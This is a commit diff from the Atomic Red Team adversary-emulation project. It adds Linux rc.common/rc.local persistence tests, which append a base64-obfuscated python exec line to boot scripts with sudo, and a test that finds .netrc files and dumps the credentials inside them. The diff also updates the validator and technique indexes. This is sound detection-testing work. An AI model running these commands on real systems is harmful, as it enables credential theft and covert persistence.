Merge branch 'master' into T1543-002-Systemd-Create-Service-Modify-Service-Linux
This commit is contained in:
Carl
@@ -108,7 +108,7 @@ class AtomicRedTeam
|
||||
raise("`atomic_tests[#{i}].supported_platforms` element is required") unless atomic.has_key?('supported_platforms')
|
||||
raise("`atomic_tests[#{i}].supported_platforms` element must be an Array (was a #{atomic['supported_platforms'].class.name})") unless atomic['supported_platforms'].is_a?(Array)
|
||||
|
||||
valid_supported_platforms = ['windows', 'macos', 'linux']
|
||||
valid_supported_platforms = ['windows', 'macos', 'linux', 'office-365', 'azure-ad', 'google-workspace', 'saas', 'iaas', 'containers', 'iaas:aws', 'iaas:azure', 'iaas:gcp']
|
||||
atomic['supported_platforms'].each do |platform|
|
||||
if !valid_supported_platforms.include?(platform)
|
||||
raise("`atomic_tests[#{i}].supported_platforms` '#{platform}' must be one of #{valid_supported_platforms.join(', ')}")
|
||||
@@ -142,7 +142,7 @@ class AtomicRedTeam
|
||||
raise("`atomic_tests[#{i}].executor.name` element must be a string") unless executor['name'].is_a?(String)
|
||||
raise("`atomic_tests[#{i}].executor.name` element must be lowercased and underscored (was #{executor['name']})") unless executor['name'] =~ /[a-z_]+/
|
||||
|
||||
valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual']
|
||||
valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual', 'aws', 'az', 'gcloud']
|
||||
case executor['name']
|
||||
when 'manual'
|
||||
raise("`atomic_tests[#{i}].executor.steps` element is required") unless executor.has_key?('steps')
|
||||
@@ -152,7 +152,7 @@ class AtomicRedTeam
|
||||
string: executor['steps'],
|
||||
string_description: "atomic_tests[#{i}].executor.steps"
|
||||
|
||||
when 'command_prompt', 'sh', 'bash', 'powershell'
|
||||
when 'command_prompt', 'sh', 'bash', 'powershell', 'aws', 'az', 'gcloud'
|
||||
raise("`atomic_tests[#{i}].executor.command` element is required") unless executor.has_key?('command')
|
||||
raise("`atomic_tests[#{i}].executor.command` element must be a string") unless executor['command'].is_a?(String)
|
||||
|
||||
|
||||
@@ -51,6 +51,15 @@ atomic_tests:
|
||||
# - windows
|
||||
# - macos
|
||||
# - linux
|
||||
# - office-365
|
||||
# - azure-ad
|
||||
# - google-workspace
|
||||
# - saas
|
||||
# - iaas
|
||||
# - containers
|
||||
# - iaas:gcp
|
||||
# - iaas:azure
|
||||
# - iaas:aws
|
||||
supported_platforms:
|
||||
- windows
|
||||
|
||||
@@ -106,6 +115,7 @@ atomic_tests:
|
||||
# a list of executors that can execute the attack commands of this atomic test. There are almost always going to be one of these
|
||||
# per test, but there are cases where you may have multiple - for example, separate executors for `sh`
|
||||
# and `bash` when working on linux OSes.
|
||||
# Names of cloud/container specific runtimes can also be used, such as `aws`, `az`, and `gcloud`.
|
||||
executors:
|
||||
# the name of the executor describes the framework or application in which the test should be executed.
|
||||
#
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -9,6 +9,7 @@ credential-access,T1552.001,Credentials In Files,1,Extract Browser and System cr
|
||||
credential-access,T1552.001,Credentials In Files,2,Extract passwords with grep,bd4cf0d1-7646-474e-8610-78ccf5a097c4,sh
|
||||
credential-access,T1552.001,Credentials In Files,3,Extracting passwords with findstr,0e56bf29-ff49-4ea5-9af4-3b81283fd513,powershell
|
||||
credential-access,T1552.001,Credentials In Files,4,Access unattend.xml,367d4004-5fc0-446d-823f-960c74ae52c3,command_prompt
|
||||
credential-access,T1552.001,Credentials In Files,5,Find and Access Github Credentials,da4f751a-020b-40d7-b9ff-d433b7799803,bash
|
||||
credential-access,T1555,Credentials from Password Stores,1,Extract Windows Credential Manager via VBA,234f9b7c-b53d-4f32-897b-b880a6c9ea7b,powershell
|
||||
credential-access,T1555.003,Credentials from Web Browsers,1,Run Chrome-password Collector,8c05b133-d438-47ca-a630-19cc464c4622,powershell
|
||||
credential-access,T1555.003,Credentials from Web Browsers,2,Search macOS Safari Cookies,c1402f7b-67ca-43a8-b5f3-3143abedc01b,sh
|
||||
@@ -160,6 +161,8 @@ privilege-escalation,T1055.012,Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4
|
||||
privilege-escalation,T1055,Process Injection,1,Shellcode execution via VBA,1c91e740-1729-4329-b779-feba6e71d048,powershell
|
||||
privilege-escalation,T1055,Process Injection,2,Remote Process Injection in LSASS via mimikatz,3203ad24-168e-4bec-be36-f79b13ef8a83,command_prompt
|
||||
privilege-escalation,T1037.004,RC Scripts,1,rc.common,97a48daa-8bca-4bc0-b1a9-c1d163e762de,bash
|
||||
privilege-escalation,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
|
||||
privilege-escalation,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
|
||||
privilege-escalation,T1547.007,Re-opened Applications,1,Re-Opened Applications,5fefd767-ef54-4ac6-84d3-751ab85e8aba,manual
|
||||
privilege-escalation,T1547.007,Re-opened Applications,2,Re-Opened Applications,5f5b71da-e03f-42e7-ac98-d63f9e0465cb,sh
|
||||
privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,1,Reg Key Run,e55be3fd-3521-4610-9d1a-e210e42dcf05,command_prompt
|
||||
@@ -536,6 +539,8 @@ persistence,T1547.011,Plist Modification,1,Plist Modification,394a538e-09bb-4a4a
|
||||
persistence,T1547.010,Port Monitors,1,Add Port Monitor persistence in Registry,d34ef297-f178-4462-871e-9ce618d44e50,command_prompt
|
||||
persistence,T1546.013,PowerShell Profile,1,Append malicious start-process cmdlet,090e5aa5-32b6-473b-a49b-21e843a56896,powershell
|
||||
persistence,T1037.004,RC Scripts,1,rc.common,97a48daa-8bca-4bc0-b1a9-c1d163e762de,bash
|
||||
persistence,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
|
||||
persistence,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
|
||||
persistence,T1547.007,Re-opened Applications,1,Re-Opened Applications,5fefd767-ef54-4ac6-84d3-751ab85e8aba,manual
|
||||
persistence,T1547.007,Re-opened Applications,2,Re-Opened Applications,5f5b71da-e03f-42e7-ac98-d63f9e0465cb,sh
|
||||
persistence,T1547.001,Registry Run Keys / Startup Folder,1,Reg Key Run,e55be3fd-3521-4610-9d1a-e210e42dcf05,command_prompt
|
||||
|
||||
|
@@ -5,6 +5,7 @@ credential-access,T1552.003,Bash History,1,Search Through Bash History,3cfde62b-
|
||||
credential-access,T1552.007,Container API,1,ListSecrets,43c3a49d-d15c-45e6-b303-f6e177e44a9a,bash
|
||||
credential-access,T1552.007,Container API,2,Cat the contents of a Kubernetes service account token file,788e0019-a483-45da-bcfe-96353d46820f,sh
|
||||
credential-access,T1552.001,Credentials In Files,2,Extract passwords with grep,bd4cf0d1-7646-474e-8610-78ccf5a097c4,sh
|
||||
credential-access,T1552.001,Credentials In Files,5,Find and Access Github Credentials,da4f751a-020b-40d7-b9ff-d433b7799803,bash
|
||||
credential-access,T1056.001,Keylogging,2,Living off the land Terminal Input Capture on Linux with pam.d,9c6bdb34-a89f-4b90-acb1-5970614c711b,sh
|
||||
credential-access,T1040,Network Sniffing,1,Packet Capture Linux,7fe741f7-b265-4951-a7c7-320889083b3e,bash
|
||||
credential-access,T1552.004,Private Keys,2,Discover Private SSH Keys,46959285-906d-40fa-9437-5a439accd878,sh
|
||||
@@ -32,6 +33,8 @@ privilege-escalation,T1574.006,Dynamic Linker Hijacking,1,Shared Library Injecti
|
||||
privilege-escalation,T1574.006,Dynamic Linker Hijacking,2,Shared Library Injection via LD_PRELOAD,bc219ff7-789f-4d51-9142-ecae3397deae,bash
|
||||
privilege-escalation,T1611,Escape to Host,1,Deploy container using nsenter container escape,0b2f9520-a17a-4671-9dba-3bd034099fff,sh
|
||||
privilege-escalation,T1547.006,Kernel Modules and Extensions,1,Linux - Load Kernel Module via insmod,687dcb93-9656-4853-9c36-9977315e9d23,bash
|
||||
privilege-escalation,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
|
||||
privilege-escalation,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
|
||||
privilege-escalation,T1548.001,Setuid and Setgid,1,Make and modify binary from C source,896dfe97-ae43-4101-8e96-9a7996555d80,sh
|
||||
privilege-escalation,T1548.001,Setuid and Setgid,2,Set a SetUID flag on file,759055b3-3885-4582-a8ec-c00c9d64dd79,sh
|
||||
privilege-escalation,T1548.001,Setuid and Setgid,3,Set a SetGID flag on file,db55f666-7cba-46c6-9fe6-205a05c3242c,sh
|
||||
@@ -157,6 +160,8 @@ persistence,T1574.006,Dynamic Linker Hijacking,2,Shared Library Injection via LD
|
||||
persistence,T1547.006,Kernel Modules and Extensions,1,Linux - Load Kernel Module via insmod,687dcb93-9656-4853-9c36-9977315e9d23,bash
|
||||
persistence,T1136.001,Local Account,1,Create a user account on a Linux system,40d8eabd-e394-46f6-8785-b9bfa1d011d2,bash
|
||||
persistence,T1136.001,Local Account,5,Create a new user in Linux with `root` UID and GID.,a1040a30-d28b-4eda-bd99-bb2861a4616c,bash
|
||||
persistence,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
|
||||
persistence,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
|
||||
persistence,T1098.004,SSH Authorized Keys,1,Modify SSH Authorized Keys,342cc723-127c-4d3a-8292-9c0c6b4ecadc,bash
|
||||
persistence,T1543.002,Systemd Service,1,Create Systemd Service,d9e4f24f-aa67-4c6e-bcbf-85622b697a7c,bash
|
||||
persistence,T1053.006,Systemd Timers,1,Create Systemd Service and Timer,f4983098-bb13-44fb-9b2c-46149961807b,bash
|
||||
|
||||
|
@@ -2,6 +2,7 @@ Tactic,Technique #,Technique Name,Test #,Test Name,Test GUID,Executor Name
|
||||
credential-access,T1552.003,Bash History,1,Search Through Bash History,3cfde62b-7c33-4b26-a61e-755d6131c8ce,sh
|
||||
credential-access,T1552.001,Credentials In Files,1,Extract Browser and System credentials with LaZagne,9e507bb8-1d30-4e3b-a49b-cb5727d7ea79,bash
|
||||
credential-access,T1552.001,Credentials In Files,2,Extract passwords with grep,bd4cf0d1-7646-474e-8610-78ccf5a097c4,sh
|
||||
credential-access,T1552.001,Credentials In Files,5,Find and Access Github Credentials,da4f751a-020b-40d7-b9ff-d433b7799803,bash
|
||||
credential-access,T1555.003,Credentials from Web Browsers,2,Search macOS Safari Cookies,c1402f7b-67ca-43a8-b5f3-3143abedc01b,sh
|
||||
credential-access,T1056.002,GUI Input Capture,1,AppleScript - Prompt User for Password,76628574-0bc1-4646-8fe2-8f4427b47d15,bash
|
||||
credential-access,T1555.001,Keychain,1,Keychain,1864fdec-ff86-4452-8c30-f12507582a93,sh
|
||||
|
||||
|
@@ -21,6 +21,7 @@
|
||||
- Atomic Test #2: Extract passwords with grep [macos, linux]
|
||||
- Atomic Test #3: Extracting passwords with findstr [windows]
|
||||
- Atomic Test #4: Access unattend.xml [windows]
|
||||
- Atomic Test #5: Find and Access Github Credentials [macos, linux]
|
||||
- [T1555 Credentials from Password Stores](../../T1555/T1555.md)
|
||||
- Atomic Test #1: Extract Windows Credential Manager via VBA [windows]
|
||||
- [T1555.003 Credentials from Web Browsers](../../T1555.003/T1555.003.md)
|
||||
@@ -324,6 +325,8 @@
|
||||
- T1055.008 Ptrace System Calls [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
|
||||
- Atomic Test #1: rc.common [macos]
|
||||
- Atomic Test #2: rc.common [linux]
|
||||
- Atomic Test #3: rc.local [linux]
|
||||
- [T1547.007 Re-opened Applications](../../T1547.007/T1547.007.md)
|
||||
- Atomic Test #1: Re-Opened Applications [macos]
|
||||
- Atomic Test #2: Re-Opened Applications [macos]
|
||||
@@ -967,6 +970,8 @@
|
||||
- T1547.012 Print Processors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
|
||||
- Atomic Test #1: rc.common [macos]
|
||||
- Atomic Test #2: rc.common [linux]
|
||||
- Atomic Test #3: rc.local [linux]
|
||||
- T1542.004 ROMMONkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1547.007 Re-opened Applications](../../T1547.007/T1547.007.md)
|
||||
- Atomic Test #1: Re-Opened Applications [macos]
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
- T1110.004 Credential Stuffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1552.001 Credentials In Files](../../T1552.001/T1552.001.md)
|
||||
- Atomic Test #2: Extract passwords with grep [macos, linux]
|
||||
- Atomic Test #5: Find and Access Github Credentials [macos, linux]
|
||||
- T1555 Credentials from Password Stores [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1555.003 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
@@ -122,7 +123,9 @@
|
||||
- T1055.009 Proc Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1055 Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1055.008 Ptrace System Calls [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1037.004 RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
|
||||
- Atomic Test #2: rc.common [linux]
|
||||
- Atomic Test #3: rc.local [linux]
|
||||
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1548.001 Setuid and Setgid](../../T1548.001/T1548.001.md)
|
||||
- Atomic Test #1: Make and modify binary from C source [macos, linux]
|
||||
@@ -451,7 +454,9 @@
|
||||
- T1556.003 Pluggable Authentication Modules [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1205.001 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1542 Pre-OS Boot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1037.004 RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
|
||||
- Atomic Test #2: rc.common [linux]
|
||||
- Atomic Test #3: rc.local [linux]
|
||||
- T1542.004 ROMMONkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- T1505.001 SQL Stored Procedures [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
- [T1552.001 Credentials In Files](../../T1552.001/T1552.001.md)
|
||||
- Atomic Test #1: Extract Browser and System credentials with LaZagne [macos]
|
||||
- Atomic Test #2: Extract passwords with grep [macos, linux]
|
||||
- Atomic Test #5: Find and Access Github Credentials [macos, linux]
|
||||
- T1555 Credentials from Password Stores [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1555.003 Credentials from Web Browsers](../../T1555.003/T1555.003.md)
|
||||
- Atomic Test #2: Search macOS Safari Cookies [macos]
|
||||
|
||||
@@ -23,7 +23,7 @@
|
||||
| | [Systemd Timers](../../T1053.006/T1053.006.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Proc Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | Password Cracking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Permission Groups Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Keylogging](../../T1056.001/T1056.001.md) | | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
|
||||
| | [Unix Shell](../../T1059.004/T1059.004.md) | Event Triggered Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Guessing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](../../T1057/T1057.md) | | [Local Data Staging](../../T1074.001/T1074.001.md) | | Junk Data [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
|
||||
| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Ptrace System Calls [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Managers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](../../T1018/T1018.md) | | Man-in-the-Middle [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Mail Protocols [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
|
||||
| | Visual Basic [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Trust Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Spraying [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](../../T1518.001/T1518.001.md) | | Network Device Configuration Dump [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Stop [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
|
||||
| | Visual Basic [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [RC Scripts](../../T1037.004/T1037.004.md) | Domain Trust Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Spraying [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](../../T1518.001/T1518.001.md) | | Network Device Configuration Dump [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Stop [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
|
||||
| | | Hijack Execution Flow [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Downgrade System Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Remote Data Staging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
|
||||
| | | Implant Internal Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | [Private Keys](../../T1552.004/T1552.004.md) | [System Checks](../../T1497.001/T1497.001.md) | | Remote Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
|
||||
| | | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | Environmental Keying [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Proc Filesystem [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](../../T1082/T1082.md) | | SNMP (MIB Dump) [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
|
||||
@@ -40,7 +40,7 @@
|
||||
| | | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Blocking](../../T1562.006/T1562.006.md) | | | | | | Symmetric Cryptography [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | |
|
||||
| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Traffic Signaling [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | |
|
||||
| | | Pre-OS Boot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal on Host [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Web Protocols](../../T1071.001/T1071.001.md) | |
|
||||
| | | RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Install Root Certificate](../../T1553.004/T1553.004.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | |
|
||||
| | | [RC Scripts](../../T1037.004/T1037.004.md) | | [Install Root Certificate](../../T1553.004/T1553.004.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | |
|
||||
| | | ROMMONkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) | | | | | | | |
|
||||
| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Local Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | |
|
||||
| | | SQL Stored Procedures [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Masquerade Task or Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | |
|
||||
|
||||
@@ -965,6 +965,20 @@ credential-access:
|
||||
type C:\Windows\Panther\Unattend\unattend.xml
|
||||
name: command_prompt
|
||||
elevation_required: true
|
||||
- name: Find and Access Github Credentials
|
||||
auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
|
||||
description: 'This test looks for .netrc files (which stores github credentials
|
||||
in clear text )and dumps its contents if found.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- macos
|
||||
- linux
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: false
|
||||
command: "for file in $(find / -name .netrc 2> /dev/null);do echo $file ;
|
||||
cat $file ; done \n"
|
||||
T1555:
|
||||
technique:
|
||||
id: attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0
|
||||
@@ -15389,6 +15403,48 @@ privilege-escalation:
|
||||
'
|
||||
elevation_required: true
|
||||
name: bash
|
||||
- name: rc.common
|
||||
auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
|
||||
description: 'Modify rc.common
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: true
|
||||
command: |
|
||||
filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
|
||||
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
|
||||
sudo chmod +x /etc/rc.common
|
||||
cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
|
||||
];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
|
||||
&& sudo rm $origfilename;fi
|
||||
|
||||
'
|
||||
- name: rc.local
|
||||
auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
|
||||
description: 'Modify rc.local
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: true
|
||||
command: |
|
||||
filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
|
||||
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
|
||||
sudo chmod +x /etc/rc.local
|
||||
cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
|
||||
];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
|
||||
sudo rm $origfilename;fi
|
||||
|
||||
'
|
||||
T1547.007:
|
||||
technique:
|
||||
created: '2020-01-24T18:15:06.641Z'
|
||||
@@ -43035,6 +43091,48 @@ persistence:
|
||||
'
|
||||
elevation_required: true
|
||||
name: bash
|
||||
- name: rc.common
|
||||
auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
|
||||
description: 'Modify rc.common
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: true
|
||||
command: |
|
||||
filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
|
||||
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
|
||||
sudo chmod +x /etc/rc.common
|
||||
cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
|
||||
];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
|
||||
&& sudo rm $origfilename;fi
|
||||
|
||||
'
|
||||
- name: rc.local
|
||||
auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
|
||||
description: 'Modify rc.local
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: bash
|
||||
elevation_required: true
|
||||
command: |
|
||||
filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
|
||||
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
|
||||
sudo chmod +x /etc/rc.local
|
||||
cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
|
||||
];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
|
||||
sudo rm $origfilename;fi
|
||||
|
||||
'
|
||||
T1542.004:
|
||||
technique:
|
||||
created: '2020-10-20T00:05:48.790Z'
|
||||
|
||||
@@ -12,6 +12,10 @@ Several Unix-like systems have moved to Systemd and deprecated the use of RC scr
|
||||
|
||||
- [Atomic Test #1 - rc.common](#atomic-test-1---rccommon)
|
||||
|
||||
- [Atomic Test #2 - rc.common](#atomic-test-2---rccommon)
|
||||
|
||||
- [Atomic Test #3 - rc.local](#atomic-test-3---rclocal)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -38,4 +42,68 @@ sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /e
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #2 - rc.common
|
||||
Modify rc.common
|
||||
|
||||
**Supported Platforms:** Linux
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)
|
||||
|
||||
|
||||
```bash
|
||||
filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
|
||||
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
|
||||
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
|
||||
